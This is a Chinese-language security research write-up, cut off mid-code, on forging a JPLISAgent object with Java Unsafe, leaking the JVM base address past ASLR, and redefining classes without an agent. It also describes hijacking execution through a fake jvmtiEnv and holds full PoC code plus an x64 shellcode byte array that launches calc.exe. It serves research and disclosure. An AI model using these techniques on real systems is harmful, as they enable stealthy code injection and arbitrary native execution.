    組裝JPLISAgent

    Native內存操作

    想要在Native內存上創建對象,首先要獲取可控的Native內存操作能力。我們知道Java有個DirectByteBuffer,可以提供用戶申請堆外內存的能力,這也就說明DirectByteBuffer是有操作Native內存的能力,而DirectByteBuffer底層其實使用的是Java提供的Unsafe類來操作底層內存的,這里我們也直接使用Unsafe進行Native內存操作。

    通過如下代碼獲取Unsafe:

    Unsafe unsafe = null;
    
    try {
        Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        unsafe = (sun.misc.Unsafe) field.get(null);
    } catch (Exception e) {
        throw new AssertionError(e);
    }
    

    通過unsafe的allocateMemory、putlong、getAddress方法,可以實現Native內存的分配、讀寫。

    分析JPLISAgent結構

    接下來,就是分析JPLISAgent對象的結構了,如下:

    JPLISAgent是一個復雜的數據結構。由上文中redefineClasses代碼可知,最終實現redefineClasses操作的是*jvmtienv的redefineClasses函數。但是這個jvmtienv的指針,是通過jvmti(JPLISAgent)推導出來的,如下:

    而jvmti是一個宏:

    而在執行到*jvmtienv的redefineClasses之前,還有多處如下調用都用到了jvmtienv:

    因此,我們至少要保證我們自己組裝的JPLISAgent對象需要成功推導出jvmtienv的指針,也就是JPLISAgent的mNormalEnvironment成員,其結構如下:

    可以看到這個結構里存在一個回環指針mAgent,又指向了JPLISAgent對象,另外,還有個最重要的指針mJVMTIEnv,這個指針是指向內存中的JVMTIEnv對象的,這是JVMTI機制的核心對象。
    另外,經過分析,JPLISAgent對象中還有個mRedefineAvailable成員,必須要設置成true。

    接下來就是要確定JVMTIEnv的地址了。

    定位JVMTIEnv

    通過動態分析可知,0x000002E62D8EE950為JPLISAgent的地址,0x000002E62D8EE950+0x8(0x000002E62D8EEB60)為mJVMTIEnv,即指向JVMTIEnv指針的指針:


    轉到該指針:

    可以看到0x6F78A220即為JVMTIEnv對象的真實地址,通過分析發現,該對象存在于jvm模塊的地址空間中,而且偏移量是固定的,那只要找到jvm模塊的加載基址,加加上固定的偏移量即是JVMTIEnv對象的真實地址。但是,現代操作系統默認都開啟了ASLR,因此jvm模塊的基址并不可知。

    信息泄露獲取JVM基址

    由上文可知,Unsafe提供了堆外內存的分配能力,這里的堆并不是OS層面的堆,而是Java層面的堆,無論是Unsafe分配的堆外地址,還是Java的堆內地址,其都在OS層的堆空間內。經過分析發現,在通過Unsafe分配一個很小的堆外空間時,這個堆外空間的前后內存中,存在大量的指針,而這些指針中,有一些指針指向jvm的地址空間。
    編寫如下代碼:

    long allocateMemory = unsafe.allocateMemory(3);
    System.out.println("allocateMemory:"+Long.toHexString(allocateMemory)); 
    

    輸出如下:

    定位到地址0x2e61a1b67d0:

    可見前后有很多指針,綠色的那些指針,都指向jvm的地址空間:

    但是,這部分指針并不可復現,也就是說這些指針相對于allocateMemory的偏移量和指針值都不是固定的,也就是說我們根本無法從這些動態的指針里去推導出一個固定的jvm模塊基址。當對一個事物的內部運作機制不了解時,最高效的方法就是利用統計學去解決問題。于是我通過開發輔助程序,多次運行程序,收集大量的前后指針列表,這些指針中有大量是重復出現的,然后根據指針末尾兩個字節,做了一個字典,當然只做2個字節的匹配,很容易出錯,于是我又根據這些大量指針指向的指針,取末尾兩個字節,又做了一個和前面一一對應的字典。這樣我們就制作了一個二維字典,并根據指針重復出現的頻次排序。POC運行的時候,會以allocateMemory開始,往前往后進行字典匹配,可以準確的確定jvm模塊的基址。
    部分字典結構如下:
    "'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70'
    每個條目含有3個元素,第一個為指針末尾2字節,第二個元素為指針指向的指針末尾兩個字節,第三個元素為指針與baseAddress的偏移量。
    基址確定了,jvmtienv的具體地址就確定了。當然拿到了jvm的地址,加上JavaVM的偏移量便可以直接獲得JavaVM的地址。

    開始組裝

    拿到jvm模塊的基址后,就萬事俱備了,下面準備裝配JPLISAgent對象,代碼如下:

        private static long getAgent(long jvmtiAddress)
        {
            Unsafe unsafe = getUnsafe();
            long agentAddr=unsafe.allocateMemory(0x200);
            long jvmtiStackAddr=unsafe.allocateMemory(0x200);
            unsafe.putLong(jvmtiStackAddr,jvmtiAddress);
            unsafe.putLong(jvmtiStackAddr+8,0x30010100000071eel);
    
            unsafe.putLong(jvmtiStackAddr+0x168,0x9090909000000200l);
            System.out.println("long:"+Long.toHexString(jvmtiStackAddr+0x168));
            unsafe.putLong(agentAddr,jvmtiAddress-0x234f0);
    
            unsafe.putLong(agentAddr+0x8,jvmtiStackAddr);
            unsafe.putLong(agentAddr+0x10,agentAddr);
            unsafe.putLong(agentAddr+0x18,0x00730065006c0000l);
    
            //make retransform env
            unsafe.putLong(agentAddr+0x20,jvmtiStackAddr);
            unsafe.putLong(agentAddr+0x28,agentAddr);
            unsafe.putLong(agentAddr+0x30,0x0038002e00310001l);
    
            unsafe.putLong(agentAddr+0x38,0);
            unsafe.putLong(agentAddr+0x40,0);
            unsafe.putLong(agentAddr+0x48,0);
            unsafe.putLong(agentAddr+0x50,0);
    
            unsafe.putLong(agentAddr+0x58,0x0072007400010001l);
            unsafe.putLong(agentAddr+0x60,agentAddr+0x68);
            unsafe.putLong(agentAddr+0x68,0x0041414141414141l);
            return agentAddr;
        }
    

    入參為上一階段獲取的jvmti的地址,返回值為JPLISAgent的地址。

    完整POC如下(跨平臺):

    package net.rebeyond;
    
    
    import sun.misc.Unsafe;
    
    import java.lang.instrument.ClassDefinition;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    import java.util.*;
    
    public class PocWindows {
        public static void main(String[] args) throws Throwable {
    
            Unsafe unsafe = getUnsafe();
    
            Thread.sleep(2000);
            //System.gc();
            //Thread.sleep(2000);
            long allocateMemory = unsafe.allocateMemory(3);
            System.out.println("allocateMemory:" + Long.toHexString(allocateMemory));
            String patterns = "'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70','8d58':'a650':'638d58','f5c0':'b7e0':'67f5c0','8300':'8348':'148300','4578':'a5b0':'634578','b300':'a650':'63b300','ef98':'07b0':'64ef98','f280':'06e0':'60f280','5820':'4ee0':'5f5820','84d0':'a5b0':'5b84d0','00f0':'5800':'8300f0','1838':'b7e0':'671838','9f60':'b320':'669f60','e860':'08d0':'64e860','f7c0':'a650':'60f7c0','a798':'b7e0':'69a798','6888':'21f0':'5f6888','2920':'b6f0':'642920','45c0':'a5b0':'5d45c0','e1f0':'b5c0':'63e1f0','e128':'b5e0':'63e128','86a0':'4df0':'5b86a0','55a8':'64a0':'6655a8','8b98':'a650':'638b98','8a10':'b730':'648a10','3f10':'':'7b3f10','8a90':'4dc0':'5b8a90','e8e0':'0910':'64e8e0','9700':'7377':'5b9700','f500':'7073':'60f500','6b20':'a5b0':'636b20','b378':'bc50':'63b378','7608':'fb50':'5f7608','5300':'8348':'105300','8f18':'ff20':'638f18','7600':'3db0':'667600','92d8':'6d6d':'5e92d8','8700':'b200':'668700','45b8':'a650':'6645b8','8b00':'82f0':'668b00','1628':'a5b0':'631628','c298':'6765':'7bc298','7a28':'39b0':'5b7a28','3820':'4808':'233820','dd00':'c6a0':'63dd00','0be0':'a5b0':'630be0','aad0':'8e10':'7eaad0','4a98':'b7e0':'674a98','4470':'6100':'824470','6700':'4de0':'696700','a000':'3440':'66a000','2080':'a5b0':'632080','aa20':'64a0':'63aa20','5a00':'c933':'2d5a00','85f8':'4de0':'5b85f8','b440':'b5a0':'63b440','5d28':'1b80':'665d28','efd0':'a5b0':'62efd0','edc8':'a5b0':'62edc8','ad88':'b7e0':'69ad88','9468':'a8b0':'5b9468','af30':'b650':'63af30','e9e0':'0780':'64e9e0','7710':'b2b0':'667710','f528':'e9e0':'62f528','e100':'a5b0':'63e100','5008':'7020':'665008','a4c8':'a5b0':'63a4c8','6dd8':'e7a0':'5c6dd8','7620':'b5a0':'667620','f200':'0ea0':'60f200','d070':'d6c0':'62d070','6270':'a5b0':'5c6270','8c00':'8350':'668c00','4c48':'7010':'664c48','3500':'a5b0':'633500','4f10':'f100':'834f10','b350':'b7e0':'69b350','f5d8':'f280':'60f5d8','bcc0':'9800':'60bcc0','cd00':'3440':'63cd00','8a00':'a1d0':'5b8a00','0218':'6230':'630218','61a0':'b7e0':'6961a0','75f8':'a5b0':'5f75f8','fda8':'a650':'60fda8','b7a0':'b7e0':'69b7a0','f120':'3100':'81f120','ed00':'8b48':'4ed00','f898':'b7e0':'66f898','6838':'2200':'5f6838','e050':'b5d0':'63e050','bb78':'86f0':'60bb78','a540':'b7e0':'67a540','8ab8':'a650':'638ab8','d2b0':'b7f0':'63d2b0','1a50':'a5b0':'631a50','1900':'a650':'661900','6490':'3b00':'836490','6e90':'b7e0':'696e90','9108':'b7e0':'679108','e618':'b170':'63e618','6b50':'6f79':'5f6b50','cdc8':'4e10':'65cdc8','f700':'a1d0':'60f700','f803':'5000':'60f803','ca60':'b7e0':'66ca60','0000':'6a80':'630000','64d0':'a5b0':'6364d0','09d8':'a5b0':'6309d8','dde8':'bb50':'63dde8','d790':'b7e0':'67d790','f398':'0840':'64f398','4370':'a5b0':'634370','ca10':'1c20':'5cca10','9c88':'b7e0':'679c88','d910':'a5b0':'62d910','24a0':'a1d0':'6324a0','a760':'b880':'64a760','90d0':'a880':'5b90d0','6d00':'82f0':'666d00','e6f0':'a640':'63e6f0','00c0':'ac00':'8300c0','f6b0':'b7d0':'63f6b0','1488':'afd0':'641488','ab80':'0088':'7eab80','6d40':'':'776d40','8070':'1c50':'668070','fe88':'a650':'60fe88','7ad0':'a6d0':'667ad0','9100':'a1d0':'699100','8898':'4e00':'5b8898','7c78':'455':'7a7c78','9750':'ea70':'5b9750','0df0':'a5b0':'630df0','7bd8':'a1d0':'637bd8','86b0':'a650':'6386b0','4920':'b7e0':'684920','6db0':'7390':'666db0','abe0':'86e0':'63abe0','e960':'0ac0':'64e960','97a0':'3303':'5197a0','4168':'a5b0':'634168','ee28':'b7e0':'63ee28','20d8':'b7e0':'6720d8','d620':'b7e0':'67d620','0028':'1000':'610028','f6e0':'a650':'60f6e0','a700':'a650':'64a700','4500':'a1d0':'664500','8720':'':'7f8720','8000':'a650':'668000','fe38':'b270':'63fe38','be00':'a5b0':'63be00','f498':'a650':'60f498','d8c0':'b3c0':'63d8c0','9298':'b7e0':'699298','ccd8':'4de0':'65ccd8','7338':'cec0':'5b7338','8d30':'6a40':'5b8d30','4990':'a5b0':'634990','84f8':'b220':'5e84f8','cb80':'bbd0':'63cb80'";
            patterns="'bbf8':'7d00':'5fbbf8','68f8':'17e0':'5e68f8','6e28':'e570':'5b6e28','bd48':'8e10':'5fbd48','4620':'9ff0':'5c4620','ca70':'19f0':'5bca70'"; //for windows_java8_301_x64
            //patterns="'8b80':'8f10':'ef8b80','9f20':'0880':'f05f20','65e0':'4855':'6f65e0','4f20':'b880':'f05f20','7300':'8f10':'ef7300','aea0':'ddd0':'ef8ea0','1f20':'8880':'f05f20','8140':'8f10':'ef8140','75e0':'4855':'6f65e0','6f20':'d880':'f05f20','adb8':'ddd0':'ef8db8','ff20':'6880':'f05f20','55e0':'4855':'6f65e0','cf20':'3880':'f05f20','05e0':'4855':'6f65e0','92d8':'96d0':'eff2d8','8970':'8f10':'ef8970','d5e0':'4855':'6f65e0','8e70':'4350':'ef6e70','d2d8':'d6d0':'eff2d8','d340':'bf00':'f05340','f340':'df00':'f05340','2f20':'9880':'f05f20','1be0':'d8b0':'f6fbe0','8758':'c2a0':'ef6758','c340':'af00':'f05340','f5e0':'4855':'6f65e0','c5e0':'4855':'6f65e0','b2d8':'b6d0':'eff2d8','02d8':'06d0':'eff2d8','ad88':'ddb0':'ef8d88','62d8':'66d0':'eff2d8','7b20':'3d50':'ef7b20','82d8':'86d0':'eff2d8','0f20':'7880':'f05f20','9720':'8f10':'f69720','7c80':'5850':'ef5c80','25e0':'4855':'6f65e0','32d8':'36d0':'eff2d8','e340':'cf00':'f05340','ec80':'c850':'ef5c80','85e0':'add0':'6f65e0','9410':'c030':'ef9410','5f20':'c880':'f05f20','1340':'ff00':'f05340','b340':'9f00':'f05340','7340':'5f00':'f05340','35e0':'4855':'6f65e0','3f20':'a880':'f05f20','8340':'6f00':'f05340','4340':'2f00':'f05340','0340':'ef00':'f05340','22d8':'26d0':'eff2d8','e5e0':'4855':'6f65e0','95e0':'4855':'6f65e0','19d0':'d830':'f6f9d0','52d8':'56d0':'eff2d8','c420':'b810':'efc420','b5e0':'ddd0':'ef95e0','c2d8':'c6d0':'eff2d8','5340':'3f00':'f05340','df20':'4880':'f05f20','15e0':'4855':'6f65e0','a2d8':'a6d0':'eff2d8','9340':'7f00':'f05340','8070':'add0':'ef9070','f2d8':'f6d0':'eff2d8','72d8':'76d0':'eff2d8','6340':'4f00':'f05340','2340':'0f00':'f05340','3340':'1f00':'f05340','b070':'ddd0':'ef9070','45e0':'4855':'6f65e0','8d20':'add0':'ef9d20','6180':'8d90':'ef6180','8f20':'f880':'f05f20','8c80':'6850':'ef5c80','a5e0':'4855':'6f65e0','ef20':'5880':'f05f20','8410':'b030':'ef9410','b410':'e030':'ef9410','bf20':'2880':'f05f20','e2d8':'e6d0':'eff2d8','bd20':'ddd0':'ef9d20','12d8':'16d0':'eff2d8','9928':'8f10':'f69928','9e28':'8f10':'f69e28','4c80':'2850':'ef5c80','7508':'8f10':'ef7508','1df0':'d940':'f6fdf0'"; //for linux_java8_301_x64
            long jvmtiOffset=0x79a220; //for java_8_271_x64
            jvmtiOffset=0x78a280; //for windows_java_8_301_x64
            //jvmtiOffset=0xf9c520; //for linux_java_8_301_x64
            List<Map<String, String>> patternList = new ArrayList<Map<String, String>>();
            for (String pair : patterns.split(",")) {
                String offset = pair.split(":")[0].replace("'", "").trim();
                String value = pair.split(":")[1].replace("'", "").trim();
                String delta = pair.split(":")[2].replace("'", "").trim();
                Map pattern = new HashMap<String, String>();
                pattern.put("offset", offset);
                pattern.put("value", value);
                pattern.put("delta", delta);
                patternList.add(pattern);
            }
    
    
            int offset = 8;
            int targetHexLength=8; //on linux,change it to 12.
            for (int j = 0; j < 0x2000; j++)  //down search
            {
    
                for (int x : new int[]{-1, 1}) {
                    long target = unsafe.getAddress(allocateMemory + j * x * offset);
                    String targetHex = Long.toHexString(target);
                    if (target % 8 > 0 || targetHex.length() != targetHexLength) {
                        continue;
                    }
                    if (targetHex.startsWith("a") || targetHex.startsWith("b") || targetHex.startsWith("c") || targetHex.startsWith("d") || targetHex.startsWith("e") || targetHex.startsWith("f") || targetHex.endsWith("00000")) {
                        continue;
                    }
                    System.out.println("[-]start get " + Long.toHexString(allocateMemory + j * x * offset) + ",at:" + Long.toHexString(target) + ",j is:" + j);
    
                    for (Map<String, String> patternMap : patternList) {
                        targetHex = Long.toHexString(target);
    
                        if (targetHex.endsWith(patternMap.get("offset"))) {
                            String targetValueHex = Long.toHexString(unsafe.getAddress(target));
                            System.out.println("[!]bingo.");
                            if (targetValueHex.endsWith(patternMap.get("value"))) {
                                System.out.println("[ok]i found agent env:start get " + Long.toHexString(target) + ",at  :" + Long.toHexString(unsafe.getAddress(target)) + ",j is:" + j);
                                System.out.println("[ok]jvm base is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16)));
                                System.out.println("[ok]jvmti object addr is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset));
                                //long jvmenvAddress=target-Integer.parseInt(patternMap.get("delta"),16)+0x776d30;
                                long jvmtiAddress = target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset;
                                long agentAddress = getAgent(jvmtiAddress);
                                System.out.println("agentAddress:" + Long.toHexString(agentAddress));
                                Bird bird = new Bird();
                                bird.sayHello();
                                doAgent(agentAddress);
    
                                //doAgent(Long.parseLong(address));
    
                                bird.sayHello();
                                return;
                            }
    
                        }
                    }
    
                }
    
            }
        }
    
        private static long getAgent(long jvmtiAddress) {
            Unsafe unsafe = getUnsafe();
            long agentAddr = unsafe.allocateMemory(0x200);
            long jvmtiStackAddr = unsafe.allocateMemory(0x200);
            unsafe.putLong(jvmtiStackAddr, jvmtiAddress);
            unsafe.putLong(jvmtiStackAddr + 8, 0x30010100000071eel);
    
            unsafe.putLong(jvmtiStackAddr + 0x168, 0x9090909000000200l);
            System.out.println("long:" + Long.toHexString(jvmtiStackAddr + 0x168));
            unsafe.putLong(agentAddr, jvmtiAddress - 0x234f0);
    
            unsafe.putLong(agentAddr + 0x8, jvmtiStackAddr);
            unsafe.putLong(agentAddr + 0x10, agentAddr);
            unsafe.putLong(agentAddr + 0x18, 0x00730065006c0000l);
    
            //make retransform env
            unsafe.putLong(agentAddr + 0x20, jvmtiStackAddr);
            unsafe.putLong(agentAddr + 0x28, agentAddr);
            unsafe.putLong(agentAddr + 0x30, 0x0038002e00310001l);
    
            unsafe.putLong(agentAddr + 0x38, 0);
            unsafe.putLong(agentAddr + 0x40, 0);
            unsafe.putLong(agentAddr + 0x48, 0);
            unsafe.putLong(agentAddr + 0x50, 0);
    
            unsafe.putLong(agentAddr + 0x58, 0x0072007400010001l);
            unsafe.putLong(agentAddr + 0x60, agentAddr + 0x68);
            unsafe.putLong(agentAddr + 0x68, 0x0041414141414141l);
            return agentAddr;
        }
    
        private static void doAgent(long address) throws Exception {
            Class cls = Class.forName("sun.instrument.InstrumentationImpl");
            for (int i = 0; i < cls.getDeclaredConstructors().length; i++) {
                Constructor constructor = cls.getDeclaredConstructors()[i];
                constructor.setAccessible(true);
                Object obj = constructor.newInstance(address, true, true);
                for (Field f : cls.getDeclaredFields()) {
                    f.setAccessible(true);
                    if (f.getName().equals("mEnvironmentSupportsRedefineClasses")) {
                        //System.out.println("mEnvironmentSupportsRedefineClasses:" + f.get(obj));
                    }
                }
                for (Method m : cls.getMethods()) {
    
                    if (m.getName().equals("redefineClasses")) {
                        //System.out.println("redefineClasses:" + m);
                        String newBirdClassStr = "yv66vgAAADIAHwoABgARCQASABMIABQKABUAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATTG5ldC9yZWJleW9uZC9CaXJkOwEACHNheUhlbGxvAQAKU291cmNlRmlsZQEACUJpcmQuamF2YQwABwAIBwAZDAAaABsBAAhjaGFuZ2VkIQcAHAwAHQAeAQARbmV0L3JlYmV5b25kL0JpcmQBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAACAAEABwAIAAEACQAAAC8AAQABAAAABSq3AAGxAAAAAgAKAAAABgABAAAAAwALAAAADAABAAAABQAMAA0AAAABAA4ACAABAAkAAAA3AAIAAQAAAAmyAAISA7YABLEAAAACAAoAAAAKAAIAAAAGAAgABwALAAAADAABAAAACQAMAA0AAAABAA8AAAACABA=";
                        Bird bird = new Bird();
                        ClassDefinition classDefinition = new ClassDefinition(
                                bird.getClass(),
                                Base64.getDecoder().decode(newBirdClassStr));
                        ClassDefinition[] classDefinitions = new ClassDefinition[]{classDefinition};
                        try {
                            //Thread.sleep(5000);
                            m.invoke(obj, new Object[]{classDefinitions});
                        } catch (Exception e) {
                            e.printStackTrace();
                        }
    
                    }
                }
                //System.out.println("instrument obj:" + obj);
                //System.out.println("constr:" + cls.getDeclaredConstructors()[i]);
            }
        }
    
        private static Unsafe getUnsafe() {
            Unsafe unsafe = null;
    
            try {
                Field field = Unsafe.class.getDeclaredField("theUnsafe");
                field.setAccessible(true);
                unsafe = (Unsafe) field.get(null);
            } catch (Exception e) {
                throw new AssertionError(e);
            }
            return unsafe;
        }
    
    }
    

    Bird.java

    package net.rebeyond;
    
    public class Bird {
        public void sayHello()
        {
            System.out.println("hello!");
        }
    }
    

    編譯,運行:

    上述環境是win10+Jdk1.8.0_301_x64,注釋中內置了linux+jdk1.8.0_301_x64和win10+Jdk1.8.0_271_x64指紋,如果是其他OS或者JDK版本,指紋庫需要對應更新。

    可以看到,我們成功通過純Java代碼實現了動態修改類字節碼。

    按照慣例,我提出一種新的技術理論的時候,一般會直接給出一個下載即可用的exp,但是現在為了合規起見,此處只給出demo,不再提供完整的利用工具。

    Java跨平臺任意Native代碼執行

    確定入口

    上文中,我們介紹了在Windows平臺下巧妙利用instrument的不恰當實現來進行進程注入的技術,當注入的目標進行為-1時,可以往當前Java進程注入shellcode,實現不依賴JNI執行任意Native代碼。但是這個方法僅適用于Windows平臺。只適用于Windows平臺的技術是不完整的:)

    上一小節我們在偽造JPLISAgent對象的時候,留意到redefineClasses函數里面有這種代碼:


    allocate函數的第一個參數是jvmtienv指針,我們跟進allocate函數:

    void *allocate(jvmtiEnv * jvmtienv, size_t bytecount) {
        void *          resultBuffer    = NULL;
        jvmtiError      error           = JVMTI_ERROR_NONE;
    
        error = (*jvmtienv)->Allocate(jvmtienv,
                                    bytecount,
                                    (unsigned char**) &resultBuffer);
        /* may be called from any phase */
        jplis_assert(error == JVMTI_ERROR_NONE);
        if ( error != JVMTI_ERROR_NONE ) {
            resultBuffer = NULL;
        }
        return resultBuffer;
    }
    

    可以看到最終是調用的jvmtienv對象的一個成員函數,先看一下真實的jvmtienv是什么樣子:

    對象里是很多函數指針,看到這里,如果你經常分析二進制漏洞的話,可能會馬上想到這里jvmtienv是我們完全可控的,我們只要在偽造的jvmtienv對象指定的偏移位置覆蓋這個函數指針即可實現任意代碼執行。

    構造如下POC:

    先動態調試看一下我們布局的payload:

    0x219d1b1a810為我們通過unsafe.allocateMemory分配內存的首地址,我們從這里開始布局JPLISAgent對象,0x219d1b1a818處的值0x219d1b1a820是指向jvmtienv的指針,跟進0x219d1b1a820,其值為指向真實的jvmtienv對象的指針,這里我們把他指向了他自己0x219d1b1a820,接下來我們就可以在0x219d1b1a820處布置最終的jvmtienv對象了。
    根據動態調試得知allocate函數指針在jvmtienv對象的偏移量為0x168,我們只要覆蓋0x219d1b1a820+0x168(0x219d1b1a988)的值為我們shellcode的地址即可將RIP引入shellcode。此處我們把0x219d1b1a988處的值設置為0x219d1b1a990,緊跟在0x219d1b1a988的后面,然后往0x219d1b1a990寫入shellcode。

    編譯,運行:

    進程crash了,報的異常是意料之中,仔細看下報的異常:

    #EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x00000219d1b1a990, pid=24840, tid=0x0000000000005bfc
    

    內存訪問異常,但是pc的值是0x00000219d1b1a990,這就是我們shellcode的首地址。說明我們的payload布置是正確的,只不過系統開啟了NX(DEP),導致我們沒辦法去執行shellcode,下圖是異常的現場,可見RIP已經到了shellcode:

    繞過NX(DEP)

    上文的POC中我們已經可以劫持RIP,但是我們的shellcode部署在堆上,不方便通過ROP關閉DEP。那能不能找一塊rwx的內存呢?熟悉瀏覽器漏洞挖掘的朋友都知道JIT區域天生RWE,而Java也是有JIT特性的,通過分析進程內存布局,可以看到Java進程確實也存在這樣一個區域,如下圖:

    我們只要通過unsafe把shellcode寫入這個區域即可。但是,還有ASLR,需要繞過ASLR才能獲取到這塊JIT區域。

    繞過ASLR

    在前面我們已經提到了一種通過匹配指針指紋繞過ASLR的方法,這個方法在這里同樣適用。不過,這里我想換一種方法,因為通過指紋匹配的方式,需要針對不同的Java版本做適配,還是比較麻煩的。這里采用了搜索內存的方法,如下:

    package net.rebeyond;
    
    
    
    import sun.misc.Unsafe;
    
    import java.lang.instrument.ClassDefinition;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    import java.util.HashMap;
    import java.util.Map;
    
    public class PocForRCE {
        public static void main(String [] args) throws Throwable {
    
            byte buf[] = new byte[]
                    {
                            (byte) 0x41, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
                            (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
                            (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                            (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                            (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
                            (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                            (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
                            (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
                            (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
                            (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
                            (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
                            (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
                            (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
                            (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
                            (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                            (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
                            (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
                            (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
                            (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
                            (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
                            (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
                            (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
                            (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
                            (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
                            (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
                            (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
                            (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
                            (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
                            (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
                            (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
                            (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
                            (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
                            (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
                            (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
                            (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
                    };
    
            Unsafe unsafe = null;
    
            try {
                Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
                field.setAccessible(true);
                unsafe = (sun.misc.Unsafe) field.get(null);
            } catch (Exception e) {
                throw new AssertionError(e);
            }
    
    
            long size = buf.length+0x178; // a long is 64 bits (http://docs.oracle.com/javase/tutorial/java/nutsandbolts/datatypes.html)
            long allocateMemory = unsafe.allocateMemory(size);
